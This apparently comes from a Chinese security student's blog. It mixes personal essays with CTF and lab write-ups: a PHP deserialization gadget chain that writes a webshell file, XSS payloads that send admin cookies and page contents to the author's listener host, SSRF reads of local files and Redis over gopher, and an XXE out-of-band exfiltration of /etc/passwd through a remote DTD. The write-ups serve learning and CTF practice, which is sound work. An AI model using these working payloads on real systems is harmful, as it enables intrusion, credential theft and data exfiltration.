
身边有很多考研的同学,我问他们为什么要考研,他们说就现在出去找工作什么也不会.其实我很想问下一个问题,考完研是否就能让你能适应工作?我曾经想过考研,但我不知道我为什么要去考研,附和大流,很多人都考研,那么我也去?考研和技术,如果你选择了考研,技术在此刻你就要放下,有很多人想要学习和技术都兼顾,其实如果这样很难都走到目的地,选择一个也许你会走的更轻松越容易到达目的地。

希望我的朋友们,不要到走在人生旅途的终点时才恍然大悟,愿你此刻能回头。

关于努力的边界,应该达到什么一个状态才算真正的努力过。这也是让我想过很多的问题,你在不断前进的路上,是否会曾经因为看不到终点,内心是否有所动摇?其实很正常,这是一段需要经历的日子,在渡过热情高涨的那段日子,会有那么一段低沉的日子,看不到收获。其实这也我逐渐明白的道理,付出了就不一定有回报。其实做了很多事之后,初衷并不是希望有回报,而是当初你为什么选择要做。并不用在此之后去过多失望。

说了那么多,其实我一直想说的是,人要学会去思考,孩时我们在不断的学习周围的一切去快速的建立自己的世界观,而现在我们正处于一个另一个重要的时刻,去建立自己的价值观。周围的一切都值得我们去慢慢思考,去审视自己。去感受周围的一切,边界与没有边界,其实都不重要。只不过是在某个阶段定义的一种符号,边界是现在我这个阶段定义的一个符号,这符号承载我对这个阶段的看法和思考。

关于”边界“这个符号,它确实很虚无缥缈,从waf的规则的边界延伸到我想要的边界。其实我很渴望获得别人的认可,这就是我希望的边界,我认为当我触摸到这个边界之后,就会获得别人的认可。只是我一直在寻找这个边界,如何让自己边的更加优秀,才能获得认可。

2019年了,今年我就要毕业了,我会去北京去找到属于我边界,活着自己想要的模样,可能接下来的过程可能有些不如人意,但是既然选择了,就应该坚持。

北京天气和天津我想差不多,我习惯了天津的天气,北京也不会差吧。我不喜欢谈未来,谈的越多就没有未来了。

最后用一段话告别刚刚结束过去的2018和来临的2019!

在我不同的成长阶段,我对努力所达到的高峰有不同的答案。现在我觉得,我们通过努力,是让人真切感受到你的真诚,并且给予这份真诚一个默许的认可。而更为重要的是通过努力,不让这个世界改变你的初心。人越长大,初心就显得格外珍贵。此时此刻,做这个世界里一个背光的人,是我想做的。

Code Breaking 挑战赛 -- lumenserial

嘿嘿,在Code Breaking 开始的时候,太忙。就把最后 php 和 js 的两道题目的源码下了下来,js的题目有幸看完。关于最后的lumenserial 这道题目,今天上午花了一上午弄完, 发现与表哥们的writeup里面攻击链有些不同的一种方法,随便记录一下

因为没有了环境,根据表哥们的writeup 叙述,大概可以得到环境大概这样

php 7.2.12

disable_function : system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,apache_setenv,mb_send_mai

拿到源码,第一眼先看router

1
2
$router->get('/server/editor', 'EditorController@main');
$router->post('/server/editor', 'EditorController@main');

index 是 ueditor 的编辑器界面,上面两个router 应该是关键之处 ,跟进 EditorController 看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
protected function doUploadImage(Request $request)
{
//...
}

protected function doCatchimage(Request $request)
{
$sources = $request->input($this->config['catcherFieldName']);
$rets = [];

if ($sources) {
foreach ($sources as $url) {
$rets[] = $this->download($url);
}
}
//...
}

protected function doListImage(Request $request)
{
//...
}

private function download($url) {
//...
$content = file_get_contents($url);
$img = getimagesizefromstring($content);
//...
}

普通的图片上传,还有一个doCatchimage提供远程下载图片的函数,进入 download函数,直接从input 中拿到$url

, 中间过程没有任何过滤 file_get_contents($url); 很明显了 可以用phar://试试了 ,就需要一条好的攻击链子

其实有很多RCE的,比如monolog/rce1在里面就可以用(monolog1.23),可以用phpinfo找绝对路径,但都是单参数执行,且前面也说了基本所以RCE的函数都禁了,所以需要getshell,得找到file_put_contents 的双参数执行。目的很明显 我需要 call_user_func_array('file_put_contents',[])

第一步 寻找__wakeup 或者 __destruct

在phpggc 里面 基本所以的Laravel/RCE 都是 走的

\Illuminate\Broadcasting\PendingBroadcast::__destruct()

1
2
3
4
public function __destruct()
{
$this->events->dispatch($this->event);
}

$this->event单参数,这个时候有两条路,$this->events可控走带__call的小配件,走带dispatch() 方法的小配件

在寻找__call过程中,基本都是单参数 , 但是 其中一个带 __call的小配件很完美。

\Faker\Generator::__call

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}

public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}

public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);

return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}

$formatter提供可用的带键值 普通函数 , $provider提供实例的方法。这个配件可以作为我们的最后一步

我们可以找到$this->a->f($q,$p)形式的倒数第二步 ,$this->a可控,f对应$formatter['f']可控,$q,$p 也必须可控。

即对应

["f"=>"file_put_contents"] $q="/root/Downloads/lumenserial/html/1.php" $p = ""

下面回到第二步

既然__call走不了,找一找dispatch方法的小配件

Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher::dispatch

1
2
3
4
5
6
7
8
9
10
11
12
13
public function dispatch($eventName, Event $event = null)
{
if (null === $event) {
$event = new Event();
}

if (null !== $this->logger && $event->isPropagationStopped()) {
$this->logger->debug(sprintf('The "%s" event is already stopped. No listeners have been called.', $eventName));
}

$this->preProcess($eventName);
//...
}

跟进$this->preProcess($eventName)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private function preProcess($eventName)
{
if (!$this->dispatcher->hasListeners($eventName)) {
$this->orphanedEvents[] = $eventName;

return;
}

foreach ($this->dispatcher->getListeners($eventName) as $listener) {
$priority = $this->getListenerPriority($eventName, $listener);
$wrappedListener = new WrappedListener($listener, null, $this->stopwatch, $this);
$this->wrappedListeners[$eventName][] = $wrappedListener;
$this->dispatcher->removeListener($eventName, $listener);
$this->dispatcher->addListener($eventName, $wrappedListener, $priority);
}
}

是不是发现正好有我们需要的形式$this->a->f($q,$p)

$this->dispatcher->removeListener($eventName, $listener);

离我们的目标已经很近了a可控 ,f 也可控 ,$q可控,$p未知, 当然前提是能执行到这一行

下面仔细分析如何成功进入foreach

第一个if 必须返回true

1
2
3
4
5
$this->dispatcher->hasListeners($eventName)

$formatter['hasListeners'] = "is_string"

is_string($eventName) //return 1;

绕之,接下来

foreach ($this->dispatcher->getListeners($eventName) as $listener) {}

怎么进去foreach,仅仅用\(formatter 无法达到目的,无法返回带有我们phpcode的数组,别忘了我们还有\)provider 可以提供实例方法,这时候需要找一个带 getListeners 的小配件,恰好有那么一个

Illuminate\Events\Dispatcher::getListeners

1
2
3
4
5
6
7
8
9
10
11
12
13
public function getListeners($eventName)
{
$listeners = $this->listeners[$eventName] ?? [];

$listeners = array_merge(
$listeners,
$this->wildcardsCache[$eventName] ?? $this->getWildcardListeners($eventName)
);

return class_exists($eventName, false)
? $this->addInterfaceListeners($eventName, $listeners)
: $listeners;
}

$listeners = array_merge($this->listeners[$eventName],$this->wildcardsCache[$eventName])

$listeners 完全可控 , class_exists 判断 当然不存在 "/root/Downloads/lumenserial/html/1.php"这样一个类,返回带phpcode的数组

成功进入foreach,现在我需要保证的是在执行 this->dispatcher->removeListener($eventName, $listener);前保证代码不出错,成功执行到这一行

1
2
3
4
5
6
7
foreach ($this->dispatcher->getListeners($eventName) as $listener) {
$priority = $this->getListenerPriority($eventName, $listener);
$wrappedListener = new WrappedListener($listener, null, $this->stopwatch, $this);
$this->wrappedListeners[$eventName][] = $wrappedListener;
$this->dispatcher->removeListener($eventName, $listener);
$this->dispatcher->addListener($eventName, $wrappedListener, $priority);
}

跟进$this->getListenerPriority($eventName, $listener);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function getListenerPriority($eventName, $listener)
{
// we might have wrapped listeners for the event (if called while dispatching)
// in that case get the priority by wrapper
if (isset($this->wrappedListeners[$eventName])) {
foreach ($this->wrappedListeners[$eventName] as $index => $wrappedListener) {
if ($wrappedListener->getWrappedListener() === $listener) {
return $this->dispatcher->getListenerPriority($eventName, $wrappedListener);
}
}
}

return $this->dispatcher->getListenerPriority($eventName, $listener);
}

惊喜 return $this->dispatcher->getListenerPriority($eventName, $listener); 看来不用往后面执行了,这里就有一个现成的。保证 最后return 返回,即不设置$this->wrappedListeners[$eventName]即可。

现在 f $q $p都完全可控。:—)

整个链精髓在于带__call的最后这个小配件,相当于与一个反过来的invoker ,保存的不是函数执行时需要的参数,而是函数本身,还提供实例方法函数

整个chain 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
<?php 
namespace Illuminate\Broadcasting
{
class PendingBroadcast
{
protected $events;
protected $event;

function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}

namespace Symfony\Component\EventDispatcher\Debug
{
interface TraceableEventDispatcherInterface{}

class TraceableEventDispatcher implements TraceableEventDispatcherInterface
{
private $dispatcher;

public function __construct($dispatcher){
$this->dispatcher = $dispatcher;
}
}
}

namespace Illuminate\Contracts\Events
{

interface Dispatcher{}

}



namespace Illuminate\Events
{
use Illuminate\Contracts\Events\Dispatcher as DispatcherContract;

class Dispatcher implements DispatcherContract{

protected $listeners = [];
protected $wildcardsCache = [];

public function __construct($listeners,$wildcardsCache){

$this->listeners["/root/Downloads/lumenserial/html/1.php"] = $listeners;

$this->wildcardsCache["/root/Downloads/lumenserial/html/1.php"] = $wildcardsCache;
}
}
}

namespace Faker
{
class Generator
{
protected $formatters;
protected $providers;

public function __construct($formatters , $providers)
{
$this->formatters = $formatters;
$this->providers = $providers;
}
}
}

namespace maple\aaa{

$a_ = new \Illuminate\Events\Dispatcher(["<?php phpinfo();?>"],[]);

$a = new \Faker\Generator(["hasListeners" => "is_string","removeListener" => "file_put_contents","getListenerPriority"=>"file_put_contents"],[$a_]);

$b = new \Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher($a);

$c = new \Illuminate\Broadcasting\PendingBroadcast($b , "/root/Downloads/lumenserial/html/1.php");


file_put_contents("2.php",serialize($c));

}

最后,在本地测试时,echo serialize()时,复制输出或者 php chain.php > 1 时 会出错。 甚至php chain.php > 1 显示被截断。因为里面有\00 存在,在序列化

  1. protected 参数时 , 参数名前缀有 \x00\2A\x00 \2A=*

  2. private 参数时 , 参数名前缀为\x00类名\x00

永远不说放弃,努力努力在努力,终会如愿以偿!????

黑暗期

我知道你正经历一段黑暗期 不太容易

当你在穿山越岭的另一边 我在孤独的路上没有尽头

已经感冒半个月多,却还不好,我知道这不是身体的问题,因为我遇到过。-0-

本应该在暑假实习结束的时候,就写一篇文章记录下来。

我很想回家,散散心。不为别的,我就想让自己早点好起来,面对新的生活。

这段时间我称之为黑暗期,什么都没干,但是感觉自己好累,真的好累。

我看过了很多的心灵鸡汤,却还是过不好。就想韩寒说的一样,确实是这样。

而后我明白在知乎上看见了一个回答,后知后觉的明白,人要学会思考,去审视自己。到底自己缺什么,需要完善的地方。

那天下班我回家,路过离学校最近的那个红绿灯,有一条河,在桥上我看见了这辈子见过最美的傍晚。

淡蓝色,朦朦胧胧的天边,真的很奇妙,手机却意外没电,没办法记录那一刻。

其实很多时候,遇到的事情也一样。稍纵即逝

我真的很需要去规划一个未来的生活,和审视自己的机会。

二〇一八年九月十七日 23:48:17

HACK ME CTF-XSS 三部曲

无意见看见了 Hack Me

看了下XSS 篇,记录一下

XSSRF

很经典XSS 从 Admin flag -> xssrf 文件泄漏 -> xssrf 服务端应用

我看做出来的人不多,其实也有点意思,其实这三题我可以直接几分钟秒了。后面再说

#1 Steal Admin flag

是一个登录注册的邮件平台,注册登录,页面很简单普通的收发邮件,管理员会看。三个点 用户名,主题,内容。

手动fuzzing一下(页面有验证)。发现

1
() {} < script  < svg onload

存在过滤,还有一些函数,location.href,XMLHttpRequest 均过滤。走了一些小弯路。:)

后来发现并不是简单的过滤 on+++ 的事件函数, 它的正则可能是

1
< [\w\s]+(onload)|(onerror)

/ 绕之

1
< svg/onload=

最终playload:

1
< img < /onerror=location[’href‘]=‘http://www.m4p1e.com:9999/’+document.cookie src=1 / >

这里我没有用实体,因为没有必要,他过滤了location.href,但是location[‘href’] 绕之

拿到第一个admin Flag

#2 XSSRF FILE

很显然,文件泄漏,肯定又一个点我们包含他的文件。目录扫了一下存在配置文件common.·php,其实我第一件事不是扫目录,我看了一下管理员的面板

1
< img < /onerror=location[`href`]=`http://www.m4p1e.com:9999/`+encodeURIComponent(document.links[0])+`#`+encodeURIComponent(document.links[1])+`#`+encodeURIComponent(document.links[2])+`#`+encodeURIComponent(document.links[3])+`#`+encodeURIComponent(document.links[4])+`#`+encodeURIComponent(document.links[5])+`#`+encodeURIComponent(document.links[6])+`#`+encodeURIComponent(document.links[7])+`#` src=1 />

我看到我面板没有的一个页面request.php,有点东西

看一下这个request.php页面(中途我试过用管理员的session登录过,但他判断来源了,只能localhost登录,只能ssrf)

1
< svg/onload="var a = new & #88;MLHttpRequest();a['open']('get','./get.php',true& #41;;a.send(null& #41;;a.onreadystatechange=function(& #41;{if(this.readyState==4& #41;location['href']='http://m4p1e.com:9999/'+btoa(a.responseText& #41;& #125;" >

我没想着全部用实体来替代,XMLReuqestHttp,),}替换一下就行

拿到了页面,是一个post 表单,一个参数url,清楚了呗。就是它了

第二个Flag 在 common.php 所以最终playload如下

1
2
< svg/onload="var a = new & #88;MLHttpRequest(& #41;;‘open’](‘POST’,‘./request.php’,true& #41;;a.setRequestHeader(`Content-type`,`application/x-www-form-urlencoded`& #41;;a.send(`url=file:///var/www/html/common.php`& #41;;a.onreadystatechange=function(& #41;{if(this.readyState==4& 
#41;location[`href`]=`http://m4p1e.com:9999/`+btoa(a.responseText& #41;& #125;" >

读之拿到flag,也知道第三题redis的位置

第三题 XSSRF Redis

Redis 地址在 127.0.0.1:25566

gopher 之

1
2
< svg/onload="var a = new & #88;MLHttpRequest(& #41;;‘open’](‘POST’,‘./request.php’,true& #41;;a.setRequestHeader(`Content-type`,`application/x-www-form-urlencoded`& #41;;a.send(`url=gopher://127.0.0.1:25566/_TYPE flag`& #41;;a.onreadystatechange=function(& #41;{if(this.readyState==4& 
#41;location[`href`]=`http://m4p1e.com:9999/`+btoa(a.responseText& #41;& #125;" >

是个list,看一下长度

1
2
< svg/onload="var a = new & #88;MLHttpRequest(& #41;;‘open’](‘POST’,‘./request.php’,true& #41;;a.setRequestHeader(`Content-type`,`application/x-www-form-urlencoded`& #41;;a.send(`url=gopher://127.0.0.1:25566/_LLEN flag`& #41;;a.onreadystatechange=function(& #41;{if(this.readyState==4& 
#41;location[`href`]=`http://m4p1e.com:9999/`+btoa(a.responseText& #41;& #125;" >

53,即

1
2
< svg/onload="var a = new & #88;MLHttpRequest(& #41;;‘open’](‘POST’,‘./request.php’,true& #41;;a.setRequestHeader(`Content-type`,`application/x-www-form-urlencoded`& #41;;a.send(`url=gopher://127.0.0.1:25566/_LRANGE flag 0 53`& #41;;a.onreadystatechange=function(& #41;{if(this.readyState==4& 
#41;location[`href`]=`http://m4p1e.com:9999/`+btoa(a.responseText& #41;& #125;" >

拿下第三个flag

文章最前面,我说这道题可以几分钟秒了是有原因的,嘻嘻,我发第一封信的时候,我发现信的id是几百,并不是从1开始,而后是连续的,这说明我可以读前面的邮箱。甚至发邮箱,其实是可以的。直接把前面的人的信读了之后很轻易就拿到flag,我也发现其实并不用外部接受,可以让管理员把你要的东西直接发到你的邮件里,如果xss bot 不能访问外网,那着也就是必经之路。

现在xssCTF 新题很多,每次都能学到新的东西,了解新的特性。告诉我了一个道理,也印证了前面的想法,Xss不仅仅是bypass filters,更多在于js的特性,事件,方法属性,游览器的特性(解析和容错),CSP,CSS。路还很长~

XXE实体引用非预期错误

关于XXE,我自己想来重现一下,却发现很多地方并不行。但网上并没有好的解决方法,然后有了下文,记录一下,顺便填坑填坑.

php 版本:PHP Version 5.6.9-0+deb8u1+libxml 2.9.1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$xml=<<< EOF
< ?xml version="1.0"?>
< !DOCTYPE ANY[

< !ENTITY b SYSTEM "file:///etc/passwd">

]>
< c>&b;< /c>

EOF;

$data =simplexml_load_string($xml,"SimpleXMLElement",LIBXML_NOENT);
echo '< pre>';

print_r(($data));

echo '< /pre>';

用的simplexml_load_string() , 上面语句会引用一个外部实体file://协议,LIBXM_NOENT 常量2 表示解析实体 ,结果是正常回显的.

我想把这个实体的内容通过下一个实体引用的http请求发送出去,修改一下 DTD 即如下:

1
2
3
4
5
6
7
8
9
< ?xml version="1.0"?>
< !DOCTYPE ANY[

< !ENTITY % file SYSTEM 'php://filter/read=convert.base64-encode/resource=/etc/passwd'>
< !ENTITY % init "< !ENTITY % trick SYSTEM 'http://127.0.0.1:9999/?%file;'>">
%init;
%trick;

]>

这里我用PHP filter 编码了/etc/pass ,因为这里就不用担心一些文件里面特殊字符的影响,在传输的时候不用去考虑传输特殊字符。 init实体里面包裹了trick,这里我说一下为什么要这样做,而不是直接写trick,如果你不中间转一下http://127.0.0.1:9999/?%file里面file的值是不会被替换的,相当于替换了站位符。 监听nc -l -p 9999 DTD好像也没什么错,但是报错了Warning: simplexml_load_string(): Entity: line 5: parser error : PEReferences forbidden in internal subset in /var/www/html/xxe.php on line 16查了一下,禁止使用外部引用这样构造。但是我们可以用远程的DTD来代替本地的DTD定义。

1
2
3
4
5
6
7
8
9
< ?xml version="1.0"?>
< !DOCTYPE ANY[

< !ENTITY % remote SYSTEM 'http://127.0.0.1/evil.dtd'>
%remote;
%init;
%trick;

]>

evil.dtd

1
2
3
4
< !ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
< !ENTITY % init
"< !ENTITY &#37; trick SYSTEM 'http://127.0.0.1:9999/?%file;'>"
>

现在来说不会发生 parse 错误了,但是我又出现了奇怪的错误,有一个 parser error Warning: simplexml_load_string(): http://127.0.0.1/evil.dtd:3: parser error : Detected an entity reference loop in /var/www/html/xxe.php on line 16查了一波资料,隐约好像是说 加载的实体内容太大了。去看一下libxml source code,发现了xmlParserEntityCheck 函数会抛出 XML_ERR_ENTITY_LOOP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#define XML_PARSER_BIG_ENTITY 1000
#define XML_PARSER_NON_LINEAR 10
[…]
static int
xmlParserEntityCheck(xmlParserCtxtPtr ctxt, unsigned long size,
xmlEntityPtr ent)
{
[…]
if (size < XML_PARSER_BIG_ENTITY)
return(0);
[…]
if ((size < XML_PARSER_NON_LINEAR * consumed) &&
(ctxt>nbentities * 3 < XML_PARSER_NON_LINEAR * consumed))
return (0);
[…]
xmlFatalErr(ctxt, XML_ERR_ENTITY_LOOP, NULL);
return (1);
[…]

当实体加载完毕后,验证会触发:

  1. 其大小是否小于 1000 字符
  2. 其大小是否小于已经加载的内容大小10倍 ,并且已经加载的实体引用的数量的3倍是否小于已经加载的内容大小的10倍 满足一上条件之一,则返回 0,无错误。否在抛出error。

显然当我们加载 /etc/passwd 的时候 扩大整个XML 文档太多了,这个时候2个优化方法:

  1. 添加一些无用二进制序列,慢慢先增大xml,不要一开始就加载大的实体引用。
  2. 用一些其他的php filter 来压缩原始数据,比如 zlib.deflate,尽可能的不要去触发扩张检测
1
2
3
< !ENTITY % trash SYSTEM "< !ENTITY &#37; tr SYSTEM '{$long}'>"> //$long='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa...' //500*'a'

< !ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">

Warning: simplexml_load_string(http://127.0.0.1:9999/?fVZbb6s4EH7vr+Bxj9SIcEna+K09lfZhT4+6zUr7uDLg......) 成功,我仅仅使用 php://filter/zlib.deflate 就解决了这个问题 。而后我知道这其实是一种保护,防止xml 文档大小以指数扩大。 纸上得来终觉浅,很多事情你以为可能就是这样,但是真的是这样吗?我可能要问问自己,别人实验没有这样的问题,不代表就没有。猜坑之旅,路无止境......

听着别人的故事,想着自己的青春

曾经有人问过我,是怎样一种东西让你学下去的,我很诧异的想了想,笑着说:你可以想一个少年远在距离家乡千里的地方,努力的为未来,梦想拼命的积攒是一种怎样的快乐 。是啊,远在它方,默默的努力,是一种怎样的心情。我选择了远方,因为我想一个人学会成长,学会独立。曾经的少年,现在正在慢慢长大。

我常常自我庆幸我选择了自己的路,喜欢的专业,可以为此付出自己的青春,相比那些学着适应的朋友,我很幸运。我现在的生活,每天上课,做自己的喜欢的事,偶尔去踢踢球,去打打球,跑跑步。我感觉很有意思,虽然我不像其他同学那些有时间去出去走走旅行,因为我大多数时间在做自己喜欢的事,为此乐此不彼。我想每个人都有自己的青春,我选择了自己的青春,以我自己的一仲方式去生活,去奋斗。我不后悔,我的青春也不过如此。

平时学东西google真的有时候,真的很难,因为英语不好,但我在看不懂的情况下我选择一个一个单词去查,我不想问别人,我现在也是单机,一人默默学习,沉淀自己。亲爱的朋友你知道这其中有多难吗?,但走过来也不过如此,我没有放弃,因为我从来没想过放弃,因为我选择了一种怎样的生活,并为此乐此不彼的生活的时候,我心中是充满希望和感激的。我很感谢那些前人。毕竟,就像图灵图书说的那样,站在巨人的肩膀

我一直坚信着低调,踏实,一步一步的走过来,不必想以后,你会慢慢超越自己的想象,就是这样还是大一的我,对大学充满了希望和梦想,太多的机遇在等待着我。看着身边的同学,有着不同生活,我感觉很好,这就是世界,我常常给自己一种孤单感,这样的感觉下很容易让自己静心。慢慢的也许你发现你身边同学的有着不一样的生活的时候,有些路只能一个人走的时候,你要鼓励自己慢慢的走下去,毕竟成长的路上少不了孤独。慢慢去感受它。现在沉浸在自己梦想里面的时候,对外界的是是非非也看的淡了,随缘吧。让自己的心慢慢静下来。我爹说过我,有时候很燥,我也知道,当你为了某件事去努力的时候,你的心很慢慢变化,对那些细致的数据,你需要的冷静的心态去分析的时候,何尝不是一种自我修炼呢?

一个故事关于一段青春,我的梦想想让那些期待我成功的看见我的成功,站在web之巅,我不想让他们失望。也是为了自己一段拼搏的青春。每个人都有自己的一段自己的青春。你从我的故事能感受到什么吗?一个追风少年的关于,成长,独立的故事.

我喜欢奔跑的感觉,因为我感觉我可以尽情的释放自己,感受生活,风儿也跟着你追的感觉。我喜欢过一个女孩,单纯的特别的喜欢,但有些事毕竟不可能,就像某些事学会释然,也许某个人正在下一站等着你呢,如今你的不被别人看好,也行下一个时候,别人也许就该仰望你了,这不是不可能的。感受生活,感受青春,我是个怀旧的人,不愿意忘记某些回忆,将他埋在心底。那些对我的人,我都记在心里,在将来的某一时刻,一一回报。青春就是一段勇敢的路途,学会背着梦想上路。

你在路上么?,我在这路上等你,彼此为了未来拼命的积攒,不畏未来。 --Time traveler M4p1e。